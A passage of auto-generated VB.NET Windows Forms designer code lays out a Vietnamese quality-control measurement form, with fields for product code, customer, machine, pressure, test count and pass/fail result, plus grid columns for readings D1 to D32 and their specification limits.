Me.Label5.TabIndex = 90 Me.Label5.Text = "TG Kết thúc:" ' 'Label6 ' Me.Label6.AutoSize = True Me.Label6.Location = New System.Drawing.Point(464, 142) Me.Label6.Name = "Label6" Me.Label6.Size = New System.Drawing.Size(57, 13) Me.Label6.TabIndex = 100 Me.Label6.Text = "Mã Phim : " ' 'Label7 ' Me.Label7.AutoSize = True Me.Label7.Location = New System.Drawing.Point(464, 121) Me.Label7.Name = "Label7" Me.Label7.Size = New System.Drawing.Size(40, 13) Me.Label7.TabIndex = 99 Me.Label7.Text = "Áp lực:" ' 'txtMaPhim ' Me.txtMaPhim.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtMaPhim.Location = New System.Drawing.Point(538, 138) Me.txtMaPhim.Name = "txtMaPhim" Me.txtMaPhim.Size = New System.Drawing.Size(149, 20) Me.txtMaPhim.TabIndex = 15 Me.txtMaPhim.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'txtApLuc ' Me.txtApLuc.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtApLuc.Location = New System.Drawing.Point(538, 118) Me.txtApLuc.Name = "txtApLuc" Me.txtApLuc.Size = New System.Drawing.Size(149, 20) Me.txtApLuc.TabIndex = 14 Me.txtApLuc.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'txtMayRoiSang ' Me.txtMayRoiSang.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtMayRoiSang.Location = New System.Drawing.Point(538, 98) Me.txtMayRoiSang.Name = "txtMayRoiSang" Me.txtMayRoiSang.Size = New System.Drawing.Size(149, 20) Me.txtMayRoiSang.TabIndex = 13 Me.txtMayRoiSang.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'Label8 ' Me.Label8.AutoSize = True Me.Label8.Location = New System.Drawing.Point(464, 100) Me.Label8.Name = "Label8" Me.Label8.Size = New System.Drawing.Size(74, 13) Me.Label8.TabIndex = 95 Me.Label8.Text = "Máy gia công:" ' 'txtQuanLuong ' Me.txtQuanLuong.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtQuanLuong.Location = New System.Drawing.Point(538, 78) Me.txtQuanLuong.Name = "txtQuanLuong" Me.txtQuanLuong.Size = New System.Drawing.Size(149, 20) Me.txtQuanLuong.TabIndex = 12 Me.txtQuanLuong.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'Label9 ' Me.Label9.AutoSize = True Me.Label9.Location = New System.Drawing.Point(464, 79) Me.Label9.Name = "Label9" Me.Label9.Size = New System.Drawing.Size(71, 13) Me.Label9.TabIndex = 93 Me.Label9.Text = "Quang lượng:" ' 'txtTocDo ' Me.txtTocDo.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtTocDo.Location = New System.Drawing.Point(538, 58) Me.txtTocDo.Name = "txtTocDo" Me.txtTocDo.Size = New System.Drawing.Size(149, 20) Me.txtTocDo.TabIndex = 11 Me.txtTocDo.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'Label10 ' Me.Label10.AutoSize = True Me.Label10.Location = New System.Drawing.Point(464, 58) Me.Label10.Name = "Label10" Me.Label10.Size = New System.Drawing.Size(45, 13) Me.Label10.TabIndex = 91 Me.Label10.Text = "Tốc độ:" ' 'Label11 ' Me.Label11.AutoSize = True Me.Label11.Location = New System.Drawing.Point(699, 79) Me.Label11.Name = "Label11" Me.Label11.Size = New System.Drawing.Size(97, 13) Me.Label11.TabIndex = 110 Me.Label11.Text = "Đánh giá sau cùng" ' 'txtDanhGiaSauCung ' Me.txtDanhGiaSauCung.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtDanhGiaSauCung.Font = New System.Drawing.Font("Microsoft Sans Serif", 35.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.txtDanhGiaSauCung.Location = New System.Drawing.Point(699, 97) Me.txtDanhGiaSauCung.Multiline = True Me.txtDanhGiaSauCung.Name = "txtDanhGiaSauCung" Me.txtDanhGiaSauCung.ReadOnly = True Me.txtDanhGiaSauCung.Size = New System.Drawing.Size(122, 57) Me.txtDanhGiaSauCung.TabIndex = 18 Me.txtDanhGiaSauCung.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'txtNoiDungKhongDat ' Me.txtNoiDungKhongDat.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtNoiDungKhongDat.Location = New System.Drawing.Point(827, 76) Me.txtNoiDungKhongDat.Multiline = True Me.txtNoiDungKhongDat.Name = "txtNoiDungKhongDat" Me.txtNoiDungKhongDat.ScrollBars = System.Windows.Forms.ScrollBars.Both Me.txtNoiDungKhongDat.Size = New System.Drawing.Size(234, 78) Me.txtNoiDungKhongDat.TabIndex = 17 ' 'Label14 ' Me.Label14.AutoSize = True Me.Label14.Location = New System.Drawing.Point(827, 56) Me.Label14.Name = "Label14" Me.Label14.Size = New System.Drawing.Size(108, 13) Me.Label14.TabIndex = 103 Me.Label14.Text = "Nội dung không đạt: " ' 'txtSoLanTest ' Me.txtSoLanTest.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtSoLanTest.Location = New System.Drawing.Point(762, 56) Me.txtSoLanTest.Name = "txtSoLanTest" Me.txtSoLanTest.Size = New System.Drawing.Size(59, 20) Me.txtSoLanTest.TabIndex = 16 Me.txtSoLanTest.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'Label15 ' Me.Label15.AutoSize = True Me.Label15.Location = New System.Drawing.Point(696, 59) Me.Label15.Name = "Label15" Me.Label15.Size = New System.Drawing.Size(60, 13) Me.Label15.TabIndex = 101 Me.Label15.Text = "Số lần test:" ' 'dtpNgayDo ' Me.dtpNgayDo.CustomFormat = "dd-MM-yyyy" Me.dtpNgayDo.Format = System.Windows.Forms.DateTimePickerFormat.Custom Me.dtpNgayDo.Location = New System.Drawing.Point(300, 58) Me.dtpNgayDo.Name = "dtpNgayDo" Me.dtpNgayDo.Size = New System.Drawing.Size(149, 20) Me.dtpNgayDo.TabIndex = 6 ' 'dtpTGStart ' Me.dtpTGStart.Checked = False Me.dtpTGStart.CustomFormat = "HH:mm" Me.dtpTGStart.Format = System.Windows.Forms.DateTimePickerFormat.Custom Me.dtpTGStart.Location = New System.Drawing.Point(300, 115) Me.dtpTGStart.Name = "dtpTGStart" Me.dtpTGStart.ShowCheckBox = True Me.dtpTGStart.ShowUpDown = True Me.dtpTGStart.Size = New System.Drawing.Size(149, 20) Me.dtpTGStart.TabIndex = 9 ' 'dtpTGEnd ' Me.dtpTGEnd.Checked = False Me.dtpTGEnd.CustomFormat = "HH:mm" Me.dtpTGEnd.Format = System.Windows.Forms.DateTimePickerFormat.Custom Me.dtpTGEnd.Location = New System.Drawing.Point(300, 135) Me.dtpTGEnd.Name = "dtpTGEnd" Me.dtpTGEnd.ShowCheckBox = True Me.dtpTGEnd.ShowUpDown = True Me.dtpTGEnd.Size = New System.Drawing.Size(149, 20) Me.dtpTGEnd.TabIndex = 10 ' 'Label12 ' Me.Label12.AutoSize = True Me.Label12.Location = New System.Drawing.Point(9, 100) Me.Label12.Name = "Label12" Me.Label12.Size = New System.Drawing.Size(63, 13) Me.Label12.TabIndex = 118 Me.Label12.Text = "Công đoạn:" ' 'txtCustomer ' Me.txtCustomer.Location = New System.Drawing.Point(77, 78) Me.txtCustomer.Name = "txtCustomer" Me.txtCustomer.ReadOnly = True Me.txtCustomer.Size = New System.Drawing.Size(83, 20) Me.txtCustomer.TabIndex = 1 Me.txtCustomer.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'Label13 ' Me.Label13.AutoSize = True Me.Label13.Location = New System.Drawing.Point(9, 79) Me.Label13.Name = "Label13" Me.Label13.Size = New System.Drawing.Size(68, 13) Me.Label13.TabIndex = 116 Me.Label13.Text = "Khách hàng;" ' 'txtPdCode ' Me.txtPdCode.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtPdCode.Location = New System.Drawing.Point(77, 58) Me.txtPdCode.Name = "txtPdCode" Me.txtPdCode.Size = New System.Drawing.Size(149, 20) Me.txtPdCode.TabIndex = 0 Me.txtPdCode.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'Label16 ' Me.Label16.AutoSize = True Me.Label16.Location = New System.Drawing.Point(9, 58) Me.Label16.Name = "Label16" Me.Label16.Size = New System.Drawing.Size(69, 13) Me.Label16.TabIndex = 114 Me.Label16.Text = "ProductCode" ' 'Label17 ' Me.Label17.AutoSize = True Me.Label17.Location = New System.Drawing.Point(9, 120) Me.Label17.Name = "Label17" Me.Label17.Size = New System.Drawing.Size(46, 13) Me.Label17.TabIndex = 120 Me.Label17.Text = "Máy đo:" ' 'cboMayDo ' Me.cboMayDo.FormattingEnabled = True Me.cboMayDo.Items.AddRange(New Object() {"QC-0239", "QC-0229", "QC-322"}) Me.cboMayDo.Location = New System.Drawing.Point(77, 117) Me.cboMayDo.Name = "cboMayDo" Me.cboMayDo.Size = New System.Drawing.Size(149, 21) Me.cboMayDo.TabIndex = 4 ' 'cboProcess ' Me.cboProcess.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList Me.cboProcess.FormattingEnabled = True Me.cboProcess.Items.AddRange(New Object() {"QC-0239", "QC-0229"}) Me.cboProcess.Location = New System.Drawing.Point(77, 98) Me.cboProcess.Name = "cboProcess" Me.cboProcess.Size = New System.Drawing.Size(149, 21) Me.cboProcess.TabIndex = 3 ' 'txtSoMau ' Me.txtSoMau.Location = New System.Drawing.Point(77, 135) Me.txtSoMau.Name = "txtSoMau" Me.txtSoMau.ReadOnly = True Me.txtSoMau.Size = New System.Drawing.Size(149, 20) Me.txtSoMau.TabIndex = 5 Me.txtSoMau.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'Label18 ' Me.Label18.AutoSize = True Me.Label18.Location = New System.Drawing.Point(9, 136) Me.Label18.Name = "Label18" Me.Label18.Size = New System.Drawing.Size(46, 13) Me.Label18.TabIndex = 123 Me.Label18.Text = "Số mẫu:" ' 'txtMethod ' Me.txtMethod.Location = New System.Drawing.Point(160, 78) Me.txtMethod.Name = "txtMethod" Me.txtMethod.ReadOnly = True Me.txtMethod.Size = New System.Drawing.Size(66, 20) Me.txtMethod.TabIndex = 2 Me.txtMethod.TextAlign = System.Windows.Forms.HorizontalAlignment.Center ' 'DataGridViewAutoFilterTextBoxColumn1 ' Me.DataGridViewAutoFilterTextBoxColumn1.DataPropertyName = "Item" Me.DataGridViewAutoFilterTextBoxColumn1.Frozen = True Me.DataGridViewAutoFilterTextBoxColumn1.HeaderText = "Item" Me.DataGridViewAutoFilterTextBoxColumn1.Name = "DataGridViewAutoFilterTextBoxColumn1" Me.DataGridViewAutoFilterTextBoxColumn1.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn1.Width = 60 ' 'DataGridViewAutoFilterTextBoxColumn2 ' Me.DataGridViewAutoFilterTextBoxColumn2.DataPropertyName = "D1" Me.DataGridViewAutoFilterTextBoxColumn2.HeaderText = "D1" Me.DataGridViewAutoFilterTextBoxColumn2.Name = "DataGridViewAutoFilterTextBoxColumn2" Me.DataGridViewAutoFilterTextBoxColumn2.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn2.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn3 ' Me.DataGridViewAutoFilterTextBoxColumn3.DataPropertyName = "D2" Me.DataGridViewAutoFilterTextBoxColumn3.HeaderText = "D2" Me.DataGridViewAutoFilterTextBoxColumn3.Name = "DataGridViewAutoFilterTextBoxColumn3" Me.DataGridViewAutoFilterTextBoxColumn3.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn3.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn4 ' Me.DataGridViewAutoFilterTextBoxColumn4.DataPropertyName = "D3" Me.DataGridViewAutoFilterTextBoxColumn4.HeaderText = "D3" Me.DataGridViewAutoFilterTextBoxColumn4.Name = "DataGridViewAutoFilterTextBoxColumn4" Me.DataGridViewAutoFilterTextBoxColumn4.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn4.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn5 ' Me.DataGridViewAutoFilterTextBoxColumn5.DataPropertyName = "D4" Me.DataGridViewAutoFilterTextBoxColumn5.HeaderText = "D4" Me.DataGridViewAutoFilterTextBoxColumn5.Name = "DataGridViewAutoFilterTextBoxColumn5" Me.DataGridViewAutoFilterTextBoxColumn5.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn5.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn6 ' Me.DataGridViewAutoFilterTextBoxColumn6.DataPropertyName = "D5" Me.DataGridViewAutoFilterTextBoxColumn6.HeaderText = "D5" Me.DataGridViewAutoFilterTextBoxColumn6.Name = "DataGridViewAutoFilterTextBoxColumn6" Me.DataGridViewAutoFilterTextBoxColumn6.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn6.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn7 ' Me.DataGridViewAutoFilterTextBoxColumn7.DataPropertyName = "D6" Me.DataGridViewAutoFilterTextBoxColumn7.HeaderText = "D6" Me.DataGridViewAutoFilterTextBoxColumn7.Name = "DataGridViewAutoFilterTextBoxColumn7" Me.DataGridViewAutoFilterTextBoxColumn7.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn7.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn8 ' Me.DataGridViewAutoFilterTextBoxColumn8.DataPropertyName = "D7" Me.DataGridViewAutoFilterTextBoxColumn8.HeaderText = "D7" Me.DataGridViewAutoFilterTextBoxColumn8.Name = "DataGridViewAutoFilterTextBoxColumn8" Me.DataGridViewAutoFilterTextBoxColumn8.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn8.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn9 ' Me.DataGridViewAutoFilterTextBoxColumn9.DataPropertyName = "D8" Me.DataGridViewAutoFilterTextBoxColumn9.HeaderText = "D8" Me.DataGridViewAutoFilterTextBoxColumn9.Name = "DataGridViewAutoFilterTextBoxColumn9" Me.DataGridViewAutoFilterTextBoxColumn9.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn9.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn10 ' Me.DataGridViewAutoFilterTextBoxColumn10.DataPropertyName = "D9" Me.DataGridViewAutoFilterTextBoxColumn10.HeaderText = "D9" Me.DataGridViewAutoFilterTextBoxColumn10.Name = "DataGridViewAutoFilterTextBoxColumn10" Me.DataGridViewAutoFilterTextBoxColumn10.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn10.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn11 ' Me.DataGridViewAutoFilterTextBoxColumn11.DataPropertyName = "D10" Me.DataGridViewAutoFilterTextBoxColumn11.HeaderText = "D10" Me.DataGridViewAutoFilterTextBoxColumn11.Name = "DataGridViewAutoFilterTextBoxColumn11" Me.DataGridViewAutoFilterTextBoxColumn11.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn11.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn12 ' Me.DataGridViewAutoFilterTextBoxColumn12.DataPropertyName = "D11" Me.DataGridViewAutoFilterTextBoxColumn12.HeaderText = "D11" Me.DataGridViewAutoFilterTextBoxColumn12.Name = "DataGridViewAutoFilterTextBoxColumn12" Me.DataGridViewAutoFilterTextBoxColumn12.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn12.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn13 ' Me.DataGridViewAutoFilterTextBoxColumn13.DataPropertyName = "D12" Me.DataGridViewAutoFilterTextBoxColumn13.HeaderText = "D12" Me.DataGridViewAutoFilterTextBoxColumn13.Name = "DataGridViewAutoFilterTextBoxColumn13" Me.DataGridViewAutoFilterTextBoxColumn13.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn13.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn14 ' Me.DataGridViewAutoFilterTextBoxColumn14.DataPropertyName = "D13" Me.DataGridViewAutoFilterTextBoxColumn14.HeaderText = "D13" Me.DataGridViewAutoFilterTextBoxColumn14.Name = "DataGridViewAutoFilterTextBoxColumn14" Me.DataGridViewAutoFilterTextBoxColumn14.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn14.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn15 ' Me.DataGridViewAutoFilterTextBoxColumn15.DataPropertyName = "D14" Me.DataGridViewAutoFilterTextBoxColumn15.HeaderText = "D14" Me.DataGridViewAutoFilterTextBoxColumn15.Name = "DataGridViewAutoFilterTextBoxColumn15" Me.DataGridViewAutoFilterTextBoxColumn15.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn15.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn16 ' Me.DataGridViewAutoFilterTextBoxColumn16.DataPropertyName = "D15" Me.DataGridViewAutoFilterTextBoxColumn16.HeaderText = "D15" Me.DataGridViewAutoFilterTextBoxColumn16.Name = "DataGridViewAutoFilterTextBoxColumn16" Me.DataGridViewAutoFilterTextBoxColumn16.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn16.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn17 ' Me.DataGridViewAutoFilterTextBoxColumn17.DataPropertyName = "D16" Me.DataGridViewAutoFilterTextBoxColumn17.HeaderText = "D16" Me.DataGridViewAutoFilterTextBoxColumn17.Name = "DataGridViewAutoFilterTextBoxColumn17" Me.DataGridViewAutoFilterTextBoxColumn17.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn17.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn18 ' Me.DataGridViewAutoFilterTextBoxColumn18.DataPropertyName = "D17" Me.DataGridViewAutoFilterTextBoxColumn18.HeaderText = "D17" Me.DataGridViewAutoFilterTextBoxColumn18.Name = "DataGridViewAutoFilterTextBoxColumn18" Me.DataGridViewAutoFilterTextBoxColumn18.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn18.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn19 ' Me.DataGridViewAutoFilterTextBoxColumn19.DataPropertyName = "D18" Me.DataGridViewAutoFilterTextBoxColumn19.HeaderText = "D18" Me.DataGridViewAutoFilterTextBoxColumn19.Name = "DataGridViewAutoFilterTextBoxColumn19" Me.DataGridViewAutoFilterTextBoxColumn19.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn19.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn20 ' Me.DataGridViewAutoFilterTextBoxColumn20.DataPropertyName = "D19" Me.DataGridViewAutoFilterTextBoxColumn20.HeaderText = "D19" Me.DataGridViewAutoFilterTextBoxColumn20.Name = "DataGridViewAutoFilterTextBoxColumn20" Me.DataGridViewAutoFilterTextBoxColumn20.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn20.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn21 ' Me.DataGridViewAutoFilterTextBoxColumn21.DataPropertyName = "D20" Me.DataGridViewAutoFilterTextBoxColumn21.HeaderText = "D20" Me.DataGridViewAutoFilterTextBoxColumn21.Name = "DataGridViewAutoFilterTextBoxColumn21" Me.DataGridViewAutoFilterTextBoxColumn21.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn21.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn22 ' Me.DataGridViewAutoFilterTextBoxColumn22.DataPropertyName = "D21" Me.DataGridViewAutoFilterTextBoxColumn22.HeaderText = "D21" Me.DataGridViewAutoFilterTextBoxColumn22.Name = "DataGridViewAutoFilterTextBoxColumn22" Me.DataGridViewAutoFilterTextBoxColumn22.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn22.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn23 ' Me.DataGridViewAutoFilterTextBoxColumn23.DataPropertyName = "D22" Me.DataGridViewAutoFilterTextBoxColumn23.HeaderText = "D22" Me.DataGridViewAutoFilterTextBoxColumn23.Name = "DataGridViewAutoFilterTextBoxColumn23" Me.DataGridViewAutoFilterTextBoxColumn23.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn23.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn24 ' Me.DataGridViewAutoFilterTextBoxColumn24.DataPropertyName = "D23" Me.DataGridViewAutoFilterTextBoxColumn24.HeaderText = "D23" Me.DataGridViewAutoFilterTextBoxColumn24.Name = "DataGridViewAutoFilterTextBoxColumn24" Me.DataGridViewAutoFilterTextBoxColumn24.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn24.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn25 ' Me.DataGridViewAutoFilterTextBoxColumn25.DataPropertyName = "D24" Me.DataGridViewAutoFilterTextBoxColumn25.HeaderText = "D24" Me.DataGridViewAutoFilterTextBoxColumn25.Name = "DataGridViewAutoFilterTextBoxColumn25" Me.DataGridViewAutoFilterTextBoxColumn25.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn25.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn26 ' Me.DataGridViewAutoFilterTextBoxColumn26.DataPropertyName = "D25" Me.DataGridViewAutoFilterTextBoxColumn26.HeaderText = "D25" Me.DataGridViewAutoFilterTextBoxColumn26.Name = "DataGridViewAutoFilterTextBoxColumn26" Me.DataGridViewAutoFilterTextBoxColumn26.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn26.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn27 ' Me.DataGridViewAutoFilterTextBoxColumn27.DataPropertyName = "D26" Me.DataGridViewAutoFilterTextBoxColumn27.HeaderText = "D26" Me.DataGridViewAutoFilterTextBoxColumn27.Name = "DataGridViewAutoFilterTextBoxColumn27" Me.DataGridViewAutoFilterTextBoxColumn27.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn27.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn28 ' Me.DataGridViewAutoFilterTextBoxColumn28.DataPropertyName = "D27" Me.DataGridViewAutoFilterTextBoxColumn28.HeaderText = "D27" Me.DataGridViewAutoFilterTextBoxColumn28.Name = "DataGridViewAutoFilterTextBoxColumn28" Me.DataGridViewAutoFilterTextBoxColumn28.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn28.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn29 ' Me.DataGridViewAutoFilterTextBoxColumn29.DataPropertyName = "D28" Me.DataGridViewAutoFilterTextBoxColumn29.HeaderText = "D28" Me.DataGridViewAutoFilterTextBoxColumn29.Name = "DataGridViewAutoFilterTextBoxColumn29" Me.DataGridViewAutoFilterTextBoxColumn29.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn29.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn30 ' Me.DataGridViewAutoFilterTextBoxColumn30.DataPropertyName = "D29" Me.DataGridViewAutoFilterTextBoxColumn30.HeaderText = "D29" Me.DataGridViewAutoFilterTextBoxColumn30.Name = "DataGridViewAutoFilterTextBoxColumn30" Me.DataGridViewAutoFilterTextBoxColumn30.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn30.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn31 ' Me.DataGridViewAutoFilterTextBoxColumn31.DataPropertyName = "D30" Me.DataGridViewAutoFilterTextBoxColumn31.HeaderText = "D30" Me.DataGridViewAutoFilterTextBoxColumn31.Name = "DataGridViewAutoFilterTextBoxColumn31" Me.DataGridViewAutoFilterTextBoxColumn31.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn31.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn32 ' Me.DataGridViewAutoFilterTextBoxColumn32.DataPropertyName = "D31" Me.DataGridViewAutoFilterTextBoxColumn32.HeaderText = "D31" Me.DataGridViewAutoFilterTextBoxColumn32.Name = "DataGridViewAutoFilterTextBoxColumn32" Me.DataGridViewAutoFilterTextBoxColumn32.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn32.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn33 ' Me.DataGridViewAutoFilterTextBoxColumn33.DataPropertyName = "D32" DataGridViewCellStyle20.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle20.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn33.DefaultCellStyle = DataGridViewCellStyle20 Me.DataGridViewAutoFilterTextBoxColumn33.HeaderText = "D32" Me.DataGridViewAutoFilterTextBoxColumn33.Name = "DataGridViewAutoFilterTextBoxColumn33" Me.DataGridViewAutoFilterTextBoxColumn33.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn33.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn34 ' Me.DataGridViewAutoFilterTextBoxColumn34.DataPropertyName = "KetQua" DataGridViewCellStyle21.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter Me.DataGridViewAutoFilterTextBoxColumn34.DefaultCellStyle = DataGridViewCellStyle21 Me.DataGridViewAutoFilterTextBoxColumn34.HeaderText = "KetQua" Me.DataGridViewAutoFilterTextBoxColumn34.Name = "DataGridViewAutoFilterTextBoxColumn34" Me.DataGridViewAutoFilterTextBoxColumn34.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn34.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn34.Width = 50 ' 'DataGridViewAutoFilterTextBoxColumn35 ' Me.DataGridViewAutoFilterTextBoxColumn35.DataPropertyName = "Spec" DataGridViewCellStyle22.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle22.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn35.DefaultCellStyle = DataGridViewCellStyle22 Me.DataGridViewAutoFilterTextBoxColumn35.HeaderText = "Spec" Me.DataGridViewAutoFilterTextBoxColumn35.Name = "DataGridViewAutoFilterTextBoxColumn35" Me.DataGridViewAutoFilterTextBoxColumn35.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn35.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn35.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn36 ' Me.DataGridViewAutoFilterTextBoxColumn36.DataPropertyName = "UTL" DataGridViewCellStyle23.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle23.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn36.DefaultCellStyle = DataGridViewCellStyle23 Me.DataGridViewAutoFilterTextBoxColumn36.HeaderText = "UTL" Me.DataGridViewAutoFilterTextBoxColumn36.Name = "DataGridViewAutoFilterTextBoxColumn36" Me.DataGridViewAutoFilterTextBoxColumn36.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn36.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn36.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn37 ' Me.DataGridViewAutoFilterTextBoxColumn37.DataPropertyName = "LTL" DataGridViewCellStyle24.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle24.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn37.DefaultCellStyle = DataGridViewCellStyle24 Me.DataGridViewAutoFilterTextBoxColumn37.HeaderText = "LTL" Me.DataGridViewAutoFilterTextBoxColumn37.Name = "DataGridViewAutoFilterTextBoxColumn37" Me.DataGridViewAutoFilterTextBoxColumn37.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn37.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn37.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn38 ' Me.DataGridViewAutoFilterTextBoxColumn38.DataPropertyName = "USL" DataGridViewCellStyle25.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle25.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn38.DefaultCellStyle = DataGridViewCellStyle25 Me.DataGridViewAutoFilterTextBoxColumn38.HeaderText = "USL" Me.DataGridViewAutoFilterTextBoxColumn38.Name = "DataGridViewAutoFilterTextBoxColumn38" Me.DataGridViewAutoFilterTextBoxColumn38.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn38.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn38.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn39 ' Me.DataGridViewAutoFilterTextBoxColumn39.DataPropertyName = "LSL" DataGridViewCellStyle26.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle26.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn39.DefaultCellStyle = DataGridViewCellStyle26 